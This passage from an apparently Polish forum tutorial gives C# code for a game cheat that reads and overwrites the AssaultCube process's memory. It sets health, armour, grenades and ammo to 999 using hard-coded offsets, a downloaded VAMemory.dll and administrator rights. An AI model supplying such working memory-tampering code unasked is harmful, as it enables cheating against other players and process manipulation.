            </span><span class="typ">Thread</span><span class="pln"> thread </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Thread</span><span class="pun">(</span><span class="pln">cheatMain</span><span class="pun">);</span><span class="pln">                      </span><span class="com">// Definicja wątku, w którym będzie uruchomiona</span><span class="pln">
                                                                            </span><span class="com">// główna funkcja;</span><span class="pln">

            enabled </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln">         									</span><span class="com">// Uruchomienie cheata;</span><span class="pln">


            </span><span class="com">// Jeśli długość zwróconego przez metode GetProcessesByname() nie równa się 0 - czyli proces istnieje;</span><span class="pln">
            </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">processes</span><span class="pun">.</span><span class="typ">Length</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
                thread</span><span class="pun">.</span><span class="typ">Start</span><span class="pun">();</span><span class="pln">           								</span><span class="com">// Uruchomienie nowego wątku;</span><span class="pln">

                statusValue</span><span class="pun">.</span><span class="typ">Text</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">"enabled"</span><span class="pun">;</span><span class="pln">       					</span><span class="com">// Zmiana tekstu na 'enabled';</span><span class="pln">
                statusValue</span><span class="pun">.</span><span class="typ">ForeColor</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="typ">System</span><span class="pun">.</span><span class="typ">Drawing</span><span class="pun">.</span><span class="typ">Color</span><span class="pun">.</span><span class="typ">Green</span><span class="pun">;</span><span class="pln">         </span><span class="com">// Zmiana koloru tekstu na zielony;</span><span class="pln">
            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln">  </span><span class="com">// W przeciwnym wypadku</span><span class="pln">
                statusValue</span><span class="pun">.</span><span class="typ">Text</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">"process not found"</span><span class="pun">;</span><span class="pln">  					</span><span class="com">// Zmien tekst;</span><span class="pln">
                statusValue</span><span class="pun">.</span><span class="typ">ForeColor</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="typ">System</span><span class="pun">.</span><span class="typ">Drawing</span><span class="pun">.</span><span class="typ">Color</span><span class="pun">.</span><span class="typ">DarkRed</span><span class="pun">;</span><span class="pln"> 		</span><span class="com">// Zmien kolor;</span><span class="pln">

                enabled </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln"> 								</span><span class="com">// Wyłącz cheata;</span><span class="pln">
            </span><span class="pun">}</span><span class="pln">
            
        </span><span class="pun">}</span></pre>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="pln"> </span><span class="com">// Po kliknięciu przycisku disable;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> disable_Click</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">){</span><span class="pln">
  </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">processes</span><span class="pun">.</span><span class="typ">Length</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    enabled </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
    statusValue</span><span class="pun">.</span><span class="typ">Text</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">"disabled"</span><span class="pun">;</span><span class="pln">				
    statusValue</span><span class="pun">.</span><span class="typ">ForeColor</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="typ">System</span><span class="pun">.</span><span class="typ">Drawing</span><span class="pun">.</span><span class="typ">Color</span><span class="pun">.</span><span class="typ">Red</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	Przejdzmy do pobrania wartości z checkboxów i odpowienio ich przechowania w zmiennych, które stworzyliśmy wyżej.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="com">// Po interakcji z checkboxem</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> health_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">){</span><span class="pln">
  </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">health</span><span class="pun">.</span><span class="typ">Checked</span><span class="pun">){</span><span class="pln">      					</span><span class="com">// jeśli wciśniety</span><span class="pln">
    unlimitedHealth </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln">					</span><span class="com">// ustaw wartość zmiennej na true;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> 						</span><span class="com">// Jeśli nie</span><span class="pln">
    unlimitedHealth </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">			</span><span class="com">// na false;</span><span class="pln">
   </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Robimy to samo dla reszty.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> armour_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">armour</span><span class="pun">.</span><span class="typ">Checked</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    unlimitedArmour </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    unlimitedArmour </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> granades_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">granades</span><span class="pun">.</span><span class="typ">Checked</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    infiniteGranades </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    infiniteGranades </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> ammo_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">ammo</span><span class="pun">.</span><span class="typ">Checked</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    infiniteAmmo </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    infiniteAmmo </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	Doszliśmy prawie do końca, teraz wszystko co musimy zrobić to stworzyć kolejnych pól(zmiennych) w klasie
</p>

<p>
	oraz dodać bilbioteke w rozszerzeniu dll do naszego projektu. biblioteke pobieramy <a href="https://www.mpcforum.pl/s/90bf8fd" rel=""><span style="color:#3498db;">tutaj</span></a><span style="color:#3498db;">.</span>
</p>

<p>
	 
</p>

<p>
	Przechodzimy do okienka po lewej stronie naszego środowiska klikamy prawym na 'References' i add reference z dołu klikamy browser i wybieramy VAMemory.dll z dysku.
</p>

<p>
	 
</p>

<p>
	Aby wszystko poprawnie działało trzeba jeszcze dodać plik manifest do projektu, można to zrobić klikająć new &gt; file i wybieramy manifest
</p>

<p>
	Podmieniamy linijke
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="tag">&lt;requestedExecutionLevel</span><span class="pln"> </span><span class="atn">level</span><span class="pun">=</span><span class="atv">"Invoker"</span><span class="pln"> </span><span class="atn">uiAccess</span><span class="pun">=</span><span class="atv">"false"</span><span class="pln"> </span><span class="tag">/&gt;</span></pre>

<p>
	na
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="tag">&lt;requestedExecutionLevel</span><span class="pln"> </span><span class="atn">level</span><span class="pun">=</span><span class="atv">"requireAdministrator"</span><span class="pln"> </span><span class="atn">uiAccess</span><span class="pun">=</span><span class="atv">"false"</span><span class="pln"> </span><span class="tag">/&gt;</span></pre>

<p>
	 
</p>

<p>
	Deklaracje zmiennych w naszej klasie powinny wyglądać tak:
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="kwd">private</span><span class="pln"> </span><span class="typ">Process</span><span class="pun">[]</span><span class="pln"> processes </span><span class="pun">=</span><span class="pln"> null</span><span class="pun">;</span><span class="pln">         </span><span class="com">// Obiekt process, który jest potrzebny do sprawdzenia;</span><span class="pln">
</span><span class="com">// czy proces jest uruchomiony;</span><span class="pln">

</span><span class="kwd">private</span><span class="pln"> </span><span class="typ">IntPtr</span><span class="pln"> processBaseAdress </span><span class="pun">=</span><span class="pln"> </span><span class="typ">IntPtr</span><span class="pun">.</span><span class="typ">Zero</span><span class="pun">;</span><span class="pln">                 </span><span class="com">// Statyczny wskaznik procesu;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="typ">IntPtr</span><span class="pln"> playerBaseAddress </span><span class="pun">=</span><span class="pln"> </span><span class="typ">IntPtr</span><span class="pun">.</span><span class="typ">Zero</span><span class="pun">;</span><span class="pln">                 </span><span class="com">// Statyczny wskaznik Etity Gracza;</span><span class="pln">

</span><span class="com">// Wartości, które się zmienią po wybraniu odpowiednich opcji w gui;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> unlimitedHealth </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> unlimitedArmour </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> infiniteGranades </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> infiniteAmmo </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">

</span><span class="com">// Cheat włączony lub wyłączony</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> enabled </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln">

</span><span class="kwd">private</span><span class="pln"> </span><span class="typ">int</span><span class="pln"> value </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x3E7</span><span class="pun">;</span><span class="pln"> </span><span class="com">// Wartość, którą  będziemy wpisywać do pamięci, </span><span class="pln">
</span><span class="com">// jest to 999 w systemie dziesiętnym;</span></pre>

<p>
	 
</p>

<p>
	Teraz bierzemy się za metode główna cheat'a w której będziemy edytować wartości w pamięci.
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> cheatMain</span><span class="pun">()</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="typ">VAMemory</span><span class="pln"> memory</span><span class="pun">;</span><span class="pln">             </span><span class="com">// Deklaracja obiektu, który będzie nam potrzebny do edycji pamięci;</span><span class="pln">

  var offsets </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="pun">{</span><span class="pln">                             </span><span class="com">// Anonimowa klasa z offsetami, które pobralismy z </span><span class="pln">
    health </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xF8</span><span class="pun">,</span><span class="pln">                                    </span><span class="com">// Cheat engine. Można je sprawdzić klikając na odpowiedni wskaznik</span><span class="pln">
    armour </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xFC</span><span class="pun">,</span><span class="pln">

    granades </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x158</span><span class="pun">,</span><span class="pln">

    </span><span class="typ">AssaultRifleAmmo1</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x150</span><span class="pun">,</span><span class="pln">
    </span><span class="typ">SniperRifleAmmo1</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x14C</span><span class="pun">,</span><span class="pln">
    </span><span class="typ">PistolAmmo1</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x13C</span><span class="pun">,</span><span class="pln">

    </span><span class="typ">AssaultRifleAmmo2</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x128</span><span class="pun">,</span><span class="pln">
    </span><span class="typ">SniperRifleAmmo2</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x124</span><span class="pun">,</span><span class="pln">
    </span><span class="typ">PistolAmmo2</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x114</span><span class="pun">,</span><span class="pln">
  </span><span class="pun">};</span><span class="pln">

  </span><span class="typ">Process</span><span class="pln"> cproc </span><span class="pun">=</span><span class="pln"> processes</span><span class="pun">[</span><span class="lit">0</span><span class="pun">];</span><span class="pln">                           </span><span class="com">// pobranie procesu;</span><span class="pln">

  foreach</span><span class="pun">(</span><span class="typ">ProcessModule</span><span class="pln"> module in cproc</span><span class="pun">.</span><span class="typ">Modules</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">               
    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">module</span><span class="pun">.</span><span class="typ">ModuleName</span><span class="pun">.</span><span class="typ">Contains</span><span class="pun">(</span><span class="str">"ac_client"</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">               
    	processBaseAdress </span><span class="pun">=</span><span class="pln"> module</span><span class="pun">.</span><span class="typ">BaseAddress</span><span class="pun">;</span><span class="pln">                 </span><span class="com">// Przypisanie adresu procesu do zmiennej;</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">

  memory </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">VAMemory</span><span class="pun">(</span><span class="str">"ac_client"</span><span class="pun">);</span><span class="pln">          

  playerBaseAddress </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="typ">IntPtr</span><span class="pun">)</span><span class="pln"> memory</span><span class="pun">.</span><span class="typ">ReadInt32</span><span class="pun">(</span><span class="pln">processBaseAdress </span><span class="pun">+</span><span class="pln"> </span><span class="lit">0x0010F4F4</span><span class="pun">);</span><span class="pln">          </span><span class="com">// Pobranie wskaznika do Entity Gracza</span><span class="pln">

  </span><span class="kwd">while</span><span class="pun">(</span><span class="pln">enabled</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">                        						</span><span class="com">// Jeśli przycisk enable został wcześniej wciśnięty</span><span class="pln">

    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">unlimitedHealth</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">                   						</span><span class="com">// Jeśli zaznaczono checkbox</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="pln">health</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">               </span><span class="com">// Zapisz do pamięci wartość </span><span class="pln">
    </span><span class="pun">}</span><span class="pln">

    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">unlimitedArmour</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="pln">armour</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">

    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">infiniteAmmo</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="typ">AssaultRifleAmmo1</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="typ">AssaultRifleAmmo2</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="typ">SniperRifleAmmo1</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="typ">SniperRifleAmmo2</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="typ">PistolAmmo1</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="typ">PistolAmmo2</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">

    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">infiniteGranades</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
      memory</span><span class="pun">.</span><span class="typ">WriteInt32</span><span class="pun">(</span><span class="pln">playerBaseAddress </span><span class="pun">+</span><span class="pln"> offsets</span><span class="pun">.</span><span class="pln">granades</span><span class="pun">,</span><span class="pln"> value</span><span class="pun">);</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">

	</span><span class="typ">Thread</span><span class="pun">.</span><span class="typ">Sleep</span><span class="pun">(</span><span class="lit">100</span><span class="pun">);</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Dobrneliśmy do końca tego 'poradnika' Mam nadzięję, że przybliżyło to wam mniej więcej jak przebiega proces pisania cheatów do gier.
</p>

<p>
	 
</p>

<p>
	Wszelkie pytania odnośnie kodu itp możecie kierować do mnie w wiadomościach prywatnych jak i pod tym tematem.
</p>

<p>
	 
</p>
]]></description><guid isPermaLink="false">1668008</guid><pubDate>Sun, 03 May 2020 23:02:00 +0000</pubDate></item></channel></rss>
